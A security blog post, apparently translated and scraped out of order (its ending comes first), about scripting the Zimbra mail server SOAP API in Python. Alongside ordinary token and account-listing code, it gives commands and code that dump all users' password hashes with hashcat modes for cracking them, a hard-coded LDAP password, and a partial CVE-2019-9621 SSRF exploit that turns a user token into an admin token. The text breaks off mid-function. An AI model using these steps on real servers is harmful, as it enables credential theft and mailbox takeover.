\u003Cquery>{query}\u003C\u002Fquery>\u003Cbr>            \u003Cldapsearchbase>{ldapSearchBase}\u003C\u002Fldapsearchbase>\u003Cbr>         \u003C\u002Fgetldapentriesrequest>\u003Cbr>       \u003C\u002Fsoap:body>\u003Cbr>    \u003C\u002Fsoap:envelope>\u003Cbr>    \"\"\"\u003Cbr>    \u003Cbr>    try:\u003Cbr>      print(\"[*] Try to get LDAP Entries of %s\"%(query))\u003Cbr>      r=requests.post(uri+\":7071\u002Fservice\u002Fadmin\u002Fsoap\",data=request_body.format(token=token,query=query,ldapSearchBase=ldapSearchBase),verify=False,timeout=15)\u003Cbr>      print(r.text)\u003Cbr>    except Exception as e:\u003Cbr>        print(\"[!] Error:%s\"%(e))\u003Cbr>        exit(0)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Here we need to first understand the usage of Zimbra OpenLDAP to clarify the format of the parameters query and ldapSearchBase\u003C\u002Fp>\u003Cp>Test the following commands on the Zimbra server:\u003C\u002Fp>\u003Cp>1. Obtain the username and password for connecting to the LDAP server:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>su zimbra\u003Cbr>\u002Fopt\u002Fzimbra\u002Fbin\u002Fzmlocalconfig -s |grep zimbra_ldap\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>As shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770016187225_7_26fa472c08.jpeg\">\u003C\u002Fp>\u003Cp>2. Connect to the LDAP server using the obtained username and password, output all results:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u002Fopt\u002Fzimbra\u002Fbin\u002Fldapsearch -x -H ldap:\u002F\u002Fmail.zimbra.com:389 -D \"uid=zimbra,cn=admins,cn=zimbra\" -w kwDhJ6L1V9\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>As shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770016187653_8_c76fa3fd4f.jpeg\">\u003C\u002Fp>\u003Cp>3. Add filter conditions to display only the user list:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u002Fopt\u002Fzimbra\u002Fbin\u002Fldapsearch -x -H ldap:\u002F\u002Fmail.zimbra.com:389 -D \"uid=zimbra,cn=admins,cn=zimbra\" -w kwDhJ6L1V9 \"(&amp;(objectClass=zimbraAccount))\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Or\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u002Fopt\u002Fzimbra\u002Fbin\u002Fldapsearch -x -H ldap:\u002F\u002Fmail.zimbra.com:389 -D \"uid=zimbra,cn=admins,cn=zimbra\" -w kwDhJ6L1V9 -b \"ou=people,dc=zimbra,dc=com\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>As shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770016188327_9_d624511462.jpeg\">\u003C\u002Fp>\u003Cp>Note that the userPassword field contains the hash of the user's password\u003C\u002Fp>\u003Cp>4. Add further filter conditions to display only usernames and corresponding hashes:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u002Fopt\u002Fzimbra\u002Fbin\u002Fldapsearch -x -H ldap:\u002F\u002Fmail.zimbra.com:389 -D \"uid=zimbra,cn=admins,cn=zimbra\" -w kwDhJ6L1V9 \"(&amp;(objectClass=zimbraAccount))\" mail userPassword\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>As shown below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770016188772_10_325d976b03.jpeg\">\u003C\u002Fp>\u003Cp>The first 12 bytes of the exported hash are the fixed characters e1NTSEE1MTJ9, which after base64 decoding reveal the content {SSHA512}, followed by the SHA-512 encrypted characters, corresponding to Hash-Mode 1700 in hashcat\u003C\u002Fp>\u003Ch4>Supplement 1: Other ldap commands\u003C\u002Fh4>\u003Cp>Query zimbra configuration information:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u002Fopt\u002Fzimbra\u002Fbin\u002Fldapsearch -x -H ldap:\u002F\u002Fmail.zimbra.com:389 -D \"uid=zimbra,cn=admins,cn=zimbra\" -w kwDhJ6L1V9 -b \"cn=config,cn=zimbra\"\u003Cbr>\u003Cbr>\u002Fopt\u002Fzimbra\u002Fbin\u002Fldapsearch -x -H ldap:\u002F\u002Fmail.zimbra.com:389 -D \"uid=zimbra,cn=admins,cn=zimbra\" -w kwDhJ6L1V9 -b \"cn=cos,cn=zimbra\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Query zimbra server configuration information:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u002Fopt\u002Fzimbra\u002Fbin\u002Fldapsearch -x -H ldap:\u002F\u002Fmail.zimbra.com:389 -D \"uid=zimbra,cn=admins,cn=zimbra\" -w kwDhJ6L1V9 -b `\"cn=servers,cn=zimbra\"`\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Including the following content:\u003C\u002Fp>\u003Cul>\u003Cli>zimbraSshPublicKey\u003C\u002Fli>\u003Cli>zimbraMemcachedClientServerList\u003C\u002Fli>\u003Cli>zimbraSSLCertificate\u003C\u002Fli>\u003Cli>zimbraSSLPrivateKey\u003C\u002Fli>\u003C\u002Ful>\u003Ch4>Supplement 2: Operations for connecting to the MySQL database\u003C\u002Fh4>\u003Cp>1. Obtain the username and password for connecting to the MySQL database:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>su zimbra\u003Cbr>\u002Fopt\u002Fzimbra\u002Fbin\u002Fzmlocalconfig -s | grep mysql\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770016189161_11_39b98fff86.jpeg\">\u003C\u002Fp>\u003Cp>2. Connect to MySQL database:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>\u002Fopt\u002Fzimbra\u002Fbin\u002Fmysql -h 127.0.0.1 -u root -P 7306 -p\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>3. View all databases:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>show databases;\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770016189554_12_7877b40146.jpeg\">\u003C\u002Fp>\u003Cp>In summary, to query all user information, the query value can be set to \"cn=*\", and the ldapSearchBase value can be set to \"ou=people,dc=zimbra,dc=com\"\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>The ldapSearchBase value varies across different environments and is typically consistent with the domain name\u003C\u002Fp>\u003Cp>Python code to obtain user names and corresponding hashes via LDAP query is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def getalluserhash(uri,token,query,ldapSearchBase):\u003Cbr>    request_body=\"\"\"\u003Csoap:envelope xmlns:soap=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\">\u003Cbr>       \u003Csoap:header>\u003Cbr>           \u003Ccontext xmlns=\"urn:zimbra\">\u003Cbr>               \u003Cauthtoken>{token}\u003C\u002Fauthtoken>\u003Cbr>           \u003C\u002Fcontext>\u003Cbr>       \u003C\u002Fsoap:header>\u003Cbr>       \u003Csoap:body>\u003Cbr>         \u003Cgetldapentriesrequest xmlns=\"urn:zimbraAdmin\">\u003Cbr>            \u003Cquery>{query}\u003C\u002Fquery>\u003Cbr>            \u003Cldapsearchbase>{ldapSearchBase}\u003C\u002Fldapsearchbase>\u003Cbr>         \u003C\u002Fgetldapentriesrequest>\u003Cbr>       \u003C\u002Fsoap:body>\u003Cbr>    \u003C\u002Fsoap:envelope>\u003Cbr>    \"\"\"\u003Cbr>    \u003Cbr>    try:\u003Cbr>      print(\"[*] Try to get all users' hash\")\u003Cbr>      r=requests.post(uri+\":7071\u002Fservice\u002Fadmin\u002Fsoap\",data=request_body.format(token=token,query=query,ldapSearchBase=ldapSearchBase),verify=False,timeout=15)\u003Cbr>      if 'userPassword' in r.text:\u003Cbr>        pattern_data = re.compile(r\"userPass(.*?)objectClass\")\u003Cbr>        data = pattern_data.findall(r.text)\u003Cbr>        for i in range(len(data)):\u003Cbr>          pattern_user = re.compile(r\"mail\\\"&gt;(.*?)&lt;\")\u003Cbr>          user = pattern_user.findall(data[i])\u003Cbr>          pattern_password = re.compile(r\"word\\\"&gt;(.*?)&lt;\")\u003Cbr>          password = pattern_password.findall(data[i])\u003Cbr>          print(\"[+] User:%s\"%(user[0]))\u003Cbr>          print(\"    Hash:%s\"%(password[0]))\u003Cbr>\u003Cbr>      else:\u003Cbr>        print(\"[!]\")\u003Cbr>        print(r.text)\u003Cbr>\u003Cbr>    except Exception as e:\u003Cbr>        print(\"[!] Error:%s\"%(e))\u003Cbr>        exit(0)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The test results are shown in the following figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770016189846_13_b584671a3a.jpeg\">\u003C\u002Fp>\u003Cp>The exported hash corresponds to Hash-Mode 1711 in hashcat\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Newer versions of Zimbra cannot read the hash, displaying VALUE-BLOCKED, as shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770016189967_14_b46b33e2b8.jpeg\">\u003C\u002Fp>\u003Ch2>0x05 Open Source Code\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The code has been open-sourced at the following address:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>The code supports three connection methods:\u003C\u002Fp>\u003Cul>\u003Cli>Regular user token\u003C\u002Fli>\u003Cli>Administrator token\u003C\u002Fli>\u003Cli>SSRF (CVE-2019-9621)\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Supported commands will be displayed after successful connection\u003C\u002Fp>\u003Cp>Commands supported by regular user token are as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>GetAllAddressLists\u003Cbr>GetContacts\u003Cbr>GetFolder\u003Cbr>GetItem, e.g., GetItem \u002FInbox\u003Cbr>GetMsg, e.g., GetMsg 259\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Partial test results are shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770016190088_15_d37018eb81.jpeg\">\u003C\u002Fp>\u003Cp>Commands supported by administrator token are as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>GetAllDomains\u003Cbr>GetAllMailboxes\u003Cbr>GetAllAccounts\u003Cbr>GetAllAdminAccounts\u003Cbr>GetMemcachedClientConfig\u003Cbr>GetLDAPEntries, Eg: GetLDAPEntries cn=* dc=zimbra,dc=com\u003Cbr>getalluserhash, Eg: getalluserhash dc=zimbra,dc=com\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Partial test results are shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770016190240_16_b4043bdb28.jpeg\">\u003C\u002Fp>\u003Ch2>0x06 Log Detection\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The login log location is \u002Fopt\u002Fzimbra\u002Flog\u002Fmailbox.log\u003C\u002Fp>\u003Cp>For other types of mail logs, refer to https:\u002F\u002Fwiki.zimbra.com\u002Fwiki\u002FLog_Files\u003C\u002Fp>\u003Ch2>0x07 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article briefly tested the Python-Zimbra library, manually constructed data packets according to the API documentation's data format, achieved calls to the Zimbra SOAP API, open-sourced the code Zimbra_SOAP_API_Manage, shared details of script development to facilitate subsequent secondary development\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","text","ltr","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The Zimbra SOAP API enables access and modification of Zimbra mail server resources. Zimbra has open-sourced the Python-Zimbra library, implemented in Python, as a reference.\u003C\u002Fp>\u003Cp>To better understand the development details of the Zimbra SOAP API, I decided not to rely on the Python-Zimbra library. Instead, I referred to the data format in the API documentation and attempted to manually construct data packets to achieve calls to the Zimbra SOAP API.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following topics:\u003C\u002Fp>\u003Cul>\u003Cli>Introduction to the Zimbra SOAP API\u003C\u002Fli>\u003Cli>Simple testing with Python-Zimbra\u003C\u002Fli>\u003Cli>Development approach for the Zimbra SOAP API framework\u003C\u002Fli>\u003Cli>Open-source code\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Introduction to the Zimbra SOAP API\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The Zimbra SOAP API includes the following namespaces:\u003C\u002Fp>\u003Cul>\u003Cli>zimbraAccount\u003C\u002Fli>\u003Cli>zimbraAdmin\u003C\u002Fli>\u003Cli>zimbraAdminExt\u003C\u002Fli>\u003Cli>zimbraMail\u003C\u002Fli>\u003Cli>zimbraRepl\u003C\u002Fli>\u003Cli>zimbraSync\u003C\u002Fli>\u003Cli>zimbraVoice\u003C\u002Fli>\u003C\u002Ful>\u003Cp>Each namespace corresponds to different operation commands, with the following three commonly used namespaces:\u003C\u002Fp>\u003Col>\u003Cli>zimbraAdmin, the management interface for Zimbra mail servers, requiring administrator privileges\u003C\u002Fli>\u003Cli>zimbraAccount, operations related to Zimbra users\u003C\u002Fli>\u003Cli>zimbraMail, operations related to Zimbra mail\u003C\u002Fli>\u003C\u002Fol>\u003Cp>The default open ports for Zimbra mail servers include the following three types:\u003C\u002Fp>\u003Cp>1. Accessing mail\u003C\u002Fp>\u003Cp>Default ports are 80 or 443\u003C\u002Fp>\u003Cp>Corresponding address: uri + \"\u002Fservice\u002Fsoap\"\u003C\u002Fp>\u003Cp>2. Management Panel\u003C\u002Fp>\u003Cp>Default port is 7071\u003C\u002Fp>\u003Cp>Corresponding address: uri+\":7071\u002Fservice\u002Fadmin\u002Fsoap\"\u003C\u002Fp>\u003Cp>3. Management Panel -&gt; Access Email\u003C\u002Fp>\u003Cp>All user emails can be read from the management panel\u003C\u002Fp>\u003Cp>Default port is 8443\u003C\u002Fp>\u003Cp>Corresponding address: uri+\":8443\u002Fmail?adminPreAuth=1\"\u003C\u002Fp>\u003Ch2>0x03 Python-Zimbra Simple Test\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Reference URLs:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002FZimbra-Community\u002Fpython-zimbra\u003C\u002Fp>\u003Cp>http:\u002F\u002Fzimbra-community.github.io\u002Fpython-zimbra\u002Fdocs\u002F\u003C\u002Fp>\u003Cp>For your own test environment, SSL certificate verification needs to be ignored. Use the following code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import ssl\u003Cbr>ssl._create_default_https_context = ssl._create_unverified_context\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Example code for logging in with username and password:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>token = auth.authenticate(\u003Cbr>    url,\u003Cbr>    'test@mydomain.com',\u003Cbr>    'password123456',\u003Cbr>    use_password=True\u003Cbr>)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Example code for logging in with preauth-key:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>token = auth.authenticate(\u003Cbr>    url,\u003Cbr>    'test@mydomain.com',\u003Cbr>    'secret-preauth-key'\u003Cbr>)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>1. Regular user login\u003C\u002Fh3>\u003Cp>The corresponding address is: uri+\"\u002Fservice\u002Fsoap\"\u003C\u002Fp>\u003Cp>Example code for obtaining the number of emails in the outbox is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import pythonzimbra.communication\u003Cbr>from pythonzimbra.communication import Communication\u003Cbr>import pythonzimbra.tools\u003Cbr>from pythonzimbra.tools import auth\u003Cbr>import warnings\u003Cbr>warnings.filterwarnings(\"ignore\")\u003Cbr>import ssl\u003Cbr>ssl._create_default_https_context = ssl._create_unverified_context\u003Cbr>\u003Cbr>url  = 'https:\u002F\u002F192.168.112.1\u002Fservice\u002Fsoap'\u003Cbr>comm = Communication(url)\u003Cbr>token = auth.authenticate(\u003Cbr>    url,\u003Cbr>    'test',\u003Cbr>    'password123456',\u003Cbr>    use_password=True,\u003Cbr>)\u003Cbr>info_request = comm.gen_request(token=token)\u003Cbr>info_request.add_request(\u003Cbr>    \"GetFolderRequest\",\u003Cbr>    {\u003Cbr>        \"folder\": {\u003Cbr>            \"path\": \"\u002Fsent\"\u003Cbr>        }\u003Cbr>    },\u003Cbr>    \"urn:zimbraMail\"\u003Cbr>)\u003Cbr>info_response = comm.send_request(info_request)\u003Cbr>print(info_response.get_response())\u003Cbr>if not info_response.is_fault():\u003Cbr>    print(\"size:%s\"%info_response.get_response()['GetFolderResponse']['folder']['n'])\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The running result is shown in the following figure\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770016180957_0_c870ccaeb2-1.jpeg\">\u003C\u002Fp>\u003Ch3>2. Administrator Login\u003C\u002Fh3>\u003Cp>The corresponding address is: uri+\":7071\u002Fservice\u002Fadmin\u002Fsoap\"\u003C\u002Fp>\u003Cp>The sample code to obtain all email user information is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>import pythonzimbra.communication\u003Cbr>from pythonzimbra.communication import Communication\u003Cbr>import pythonzimbra.tools\u003Cbr>from pythonzimbra.tools import auth\u003Cbr>import warnings\u003Cbr>warnings.filterwarnings(\"ignore\")\u003Cbr>import ssl\u003Cbr>ssl._create_default_https_context = ssl._create_unverified_context\u003Cbr>\u003Cbr>url  = 'https:\u002F\u002F192.168.112.1:7071\u002Fservice\u002Fadmin\u002Fsoap'\u003Cbr>comm = Communication(url)\u003Cbr>token = auth.authenticate(\u003Cbr>    url,\u003Cbr>    'admin',\u003Cbr>    'password123456',\u003Cbr>    use_password=True,\u003Cbr>    admin_auth=True,\u003Cbr>)\u003Cbr>info_request = comm.gen_request(token=token)\u003Cbr>info_request.add_request(\u003Cbr>    \"GetAllAccountsRequest\",\u003Cbr>    {\u003Cbr>        \u003Cbr>    },\u003Cbr>    \"urn:zimbraAdmin\"\u003Cbr>)\u003Cbr>info_response = comm.send_request(info_request)\u003Cbr>if not info_response.is_fault():\u003Cbr>    print(info_response.get_response()['GetAllAccountsResponse'])\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The running result is shown in the figure below\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770016181969_1_93008e4060-1.jpeg\">\u003C\u002Fp>\u003Ch2>0x04 Implementation of Zimbra SOAP API Framework\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Reference documentation for Zimbra SOAP API:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fwiki.zimbra.com\u002Fwiki\u002FSOAP_API_Reference_Material_Beginning_with_ZCS_8\u003C\u002Fp>\u003Cp>https:\u002F\u002Ffiles.zimbra.com\u002Fdocs\u002Fsoap_api\u002F8.8.15\u002Fapi-reference\u002Findex.html\u003C\u002Fp>\u003Cp>The overall implementation approach is as follows:\u003C\u002Fp>\u003Col>\u003Cli>Simulate user login to obtain token\u003C\u002Fli>\u003Cli>Use token as credentials for subsequent operations\u003C\u002Fli>\u003C\u002Fol>\u003Ch3>1. Token Acquisition\u003C\u002Fh3>\u003Ch4>(1) Regular user token\u003C\u002Fh4>\u003Cp>Documentation: https:\u002F\u002Ffiles.zimbra.com\u002Fdocs\u002Fsoap_api\u002F8.8.15\u002Fapi-reference\u002FzimbraAccount\u002FAuth.html\u003C\u002Fp>\u003Cp>The corresponding namespace is zimbraAccount\u003C\u002Fp>\u003Cp>The request address is: uri + \"\u002Fservice\u002Fsoap\"\u003C\u002Fp>\u003Cp>According to the SOAP format in the documentation, it can be implemented with the following Python code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def auth_request_low(uri, username, password):\u003Cbr>    request_body = \"\"\"\u003Csoap:envelope xmlns:soap=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\">\u003Cbr>       \u003Csoap:header>\u003Cbr>           \u003Ccontext xmlns=\"urn:zimbra\">\u003Cbr>           \u003C\u002Fcontext>\u003Cbr>       \u003C\u002Fsoap:header>\u003Cbr>       \u003Csoap:body>\u003Cbr>         \u003Cauthrequest xmlns=\"urn:zimbraAccount\">\u003Cbr>            \u003Caccount by=\"adminName\">{username}\u003C\u002Faccount>\u003Cbr>            \u003Cpassword>{password}\u003C\u002Fpassword>\u003Cbr>         \u003C\u002Fauthrequest>\u003Cbr>       \u003C\u002Fsoap:body>\u003Cbr>    \u003C\u002Fsoap:envelope>\u003Cbr>    \"\"\"\u003Cbr>    print(\"[*] Try to auth for low token\")\u003Cbr>    try:\u003Cbr>      r=requests.post(uri+\"\u002Fservice\u002Fsoap\",data=request_body.format(username=username,password=password),verify=False,timeout=15)\u003Cbr>      if 'authentication failed' in r.text:\u003Cbr>        print(\"[-] Authentication failed for %s\"%(username))\u003Cbr>        return False\u003Cbr>      elif 'authToken' in r.text:\u003Cbr>        pattern_auth_token=re.compile(r\"\u003Cauthtoken>(.*?)\u003C\u002Fauthtoken>\")\u003Cbr>        token = pattern_auth_token.findall(r.text)[0]\u003Cbr>        print(\"[+] Authentication success for %s\"%(username))\u003Cbr>        print(\"[*] authToken_low:%s\"%(token))\u003Cbr>        return token\u003Cbr>      else:\u003Cbr>        print(\"[!]\")\u003Cbr>        print(r.text)\u003Cbr>    except Exception as e:\u003Cbr>        print(\"[!] Error:%s\"%(e))\u003Cbr>        exit(0)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>(2) Administrator token\u003C\u002Fh4>\u003Cp>Documentation: https:\u002F\u002Ffiles.zimbra.com\u002Fdocs\u002Fsoap_api\u002F8.8.15\u002Fapi-reference\u002FzimbraAdmin\u002FAuth.html\u003C\u002Fp>\u003Cp>The corresponding namespace is zimbraAdmin\u003C\u002Fp>\u003Cp>The request address is: uri+\":7071\u002Fservice\u002Fadmin\u002Fsoap\"\u003C\u002Fp>\u003Cp>According to the SOAP format in the documentation, it can be implemented with the following Python code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def auth_request_admin(uri,username,password):\u003Cbr>    request_body=\"\"\"\u003Csoap:envelope xmlns:soap=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\">\u003Cbr>       \u003Csoap:header>\u003Cbr>           \u003Ccontext xmlns=\"urn:zimbra\">            \u003Cbr>           \u003C\u002Fcontext>\u003Cbr>       \u003C\u002Fsoap:header>\u003Cbr>       \u003Csoap:body>\u003Cbr>         \u003Cauthrequest xmlns=\"urn:zimbraAdmin\">\u003Cbr>            \u003Caccount by=\"adminName\">{username}\u003C\u002Faccount>\u003Cbr>            \u003Cpassword>{password}\u003C\u002Fpassword>\u003Cbr>         \u003C\u002Fauthrequest>\u003Cbr>       \u003C\u002Fsoap:body>\u003Cbr>    \u003C\u002Fsoap:envelope>\u003Cbr>    \"\"\"\u003Cbr>    print(\"[*] Try to auth for admin token\")\u003Cbr>    try:\u003Cbr>      r=requests.post(uri+\":7071\u002Fservice\u002Fadmin\u002Fsoap\",data=request_body.format(username=username,password=password),verify=False,timeout=15)\u003Cbr>      if 'authentication failed' in r.text:\u003Cbr>        print(\"[-] Authentication failed for %s\"%(username))\u003Cbr>        return False\u003Cbr>      elif 'authToken' in r.text:\u003Cbr>        pattern_auth_token=re.compile(r\"\u003Cauthtoken>(.*?)\u003C\u002Fauthtoken>\")\u003Cbr>        token = pattern_auth_token.findall(r.text)[0]\u003Cbr>        print(\"[+] Authentication success for %s\"%(username))\u003Cbr>        print(\"[*] authToken_admin:%s\"%(token))\u003Cbr>        return token\u003Cbr>      else:\u003Cbr>        print(\"[!]\")\u003Cbr>        print(r.text)\u003Cbr>    except Exception as e:\u003Cbr>        print(\"[!] Error:%s\"%(e))\u003Cbr>        exit(0)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>Note: (3) Regular user token -&gt; Administrator token\u003C\u002Fh4>\u003Cp>Vulnerability ID: CVE-2019-9621\u003C\u002Fp>\u003Cp>By exploiting the flaw in the whitelist check of the ProxyServlet.doProxy() function, requests with uri+\"\u002Fservice\u002Fsoap\" can be proxied to uri+\":7071\u002Fservice\u002Fadmin\u002Fsoap\", thereby obtaining an administrator token.\u003C\u002Fp>\u003Cp>Python implementation code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def lowtoken_to_admintoken_by_SSRF(uri,username,password):\u003Cbr>    request_body=\"\"\"\u003Csoap:envelope xmlns:soap=\"http:\u002F\u002Fwww.w3.org\u002F2003\u002F05\u002Fsoap-envelope\">\u003Cbr>       \u003Csoap:header>\u003Cbr>           \u003Ccontext xmlns=\"urn:zimbra\">\u003Cbr>           \u003C\u002Fcontext>\u003Cbr>       \u003C\u002Fsoap:header>\u003Cbr>       \u003Csoap:body>\u003Cbr>         \u003Cauthrequest xmlns=\"{xmlns}\">\u003Cbr>            \u003Caccount by=\"adminName\">{username}\u003C\u002Faccount>\u003Cbr>            \u003Cpassword>{password}\u003C\u002Fpassword>\u003Cbr>         \u003C\u002Fauthrequest>\u003Cbr>       \u003C\u002Fsoap:body>\u003Cbr>    \u003C\u002Fsoap:envelope>\u003Cbr>    \"\"\"\u003Cbr>    print(\"[*] Try to auth for low token\")\u003Cbr>    try:\u003Cbr>      r=requests.post(uri+\"\u002Fservice\u002Fsoap\",data=request_body.format(xmlns=\"urn:zimbraAccount\",username=username,password=password),verify=False)\u003Cbr>      if 'authentication failed' in r.text:\u003Cbr>        print(\"[-] Authentication failed for %s\"%(username))\u003Cbr>        return False\u003Cbr>      elif 'authToken' in r.text:\u003Cbr>        pattern_auth_token=re.compile(r\"\u003Cauthtoken>(.*?)\u003C\u002Fauthtoken>\")\u003Cbr>        low_token = pattern_auth_token.findall(r.text)[0]\u003Cbr>        print(\"[+] Authentication success for %s\"%(username))\u003Cbr>        print(\"[*] authToken_low:%s\"%(low_token))\u003Cbr>        headers = {\u003Cbr>        \"Content-Type\":\"application\u002Fxml\"\u003Cbr>        }\u003Cbr>        headers[\"Cookie\"]=\"ZM_ADMIN_AUTH_TOKEN=\"+low_token+\";\"\u003Cbr>        headers[\"Host\"]=\"foo:7071\"\u003Cbr>        print(\"[*] Try to get 